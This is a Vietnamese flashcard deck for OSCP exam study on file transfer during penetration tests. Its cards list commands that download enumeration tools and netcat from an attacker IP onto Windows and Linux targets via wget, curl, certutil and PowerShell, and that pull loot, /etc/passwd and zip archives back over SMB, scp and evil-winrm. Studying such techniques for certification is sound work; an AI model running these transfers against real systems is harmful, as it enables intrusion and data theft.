Chuyển file

10 thẻ

Review deck này
Tất cả thẻ trong deck

HTTP server trên Kali

`python3 -m http.server 80` trong thư mục chứa file cần gửi

Tải file trên Linux

`wget http://192.168.45.5/linpeas.sh -O /tmp/linpeas.sh` hoặc `curl http://192.168.45.5/linpeas.sh -o /tmp/linpeas.sh`

Tải file bằng certutil

`certutil -urlcache -split -f http://192.168.45.5/winPEASx64.exe C:\Windows\Temp\wp.exe`

Tải file bằng PowerShell

`iwr -uri http://192.168.45.5/nc.exe -OutFile C:\Windows\Temp\nc.exe`

SMB server trên Kali

`impacket-smbserver share . -smb2support -username kali -password kali`

Dùng SMB server từ Windows

`net use \\192.168.45.5\share /user:kali kali` rồi `copy \\192.168.45.5\share\nc.exe .` hoặc copy ngược loot về Kali

scp

gửi `scp file user@192.168.56.10:/tmp/`; lấy về `scp user@192.168.56.10:/etc/passwd .`

evil-winrm

trong phiên dùng `upload /home/kali/tools/nc.exe` và `download C:\Users\Public\loot.zip`

Thư mục thường ghi được

Linux `/tmp`, `/dev/shm`, `/var/tmp`; Windows `C:\Windows\Temp`, `C:\Users\Public`, thư mục home của user hiện tại

Kiểm file sau khi chuyển

so `md5sum file` (Linux) với `certutil -hashfile file MD5` (Windows); file hỏng là nguyên nhân phổ biến khiến exploit không chạy

Chuyển file – Flashcards – OSCP | Học Dev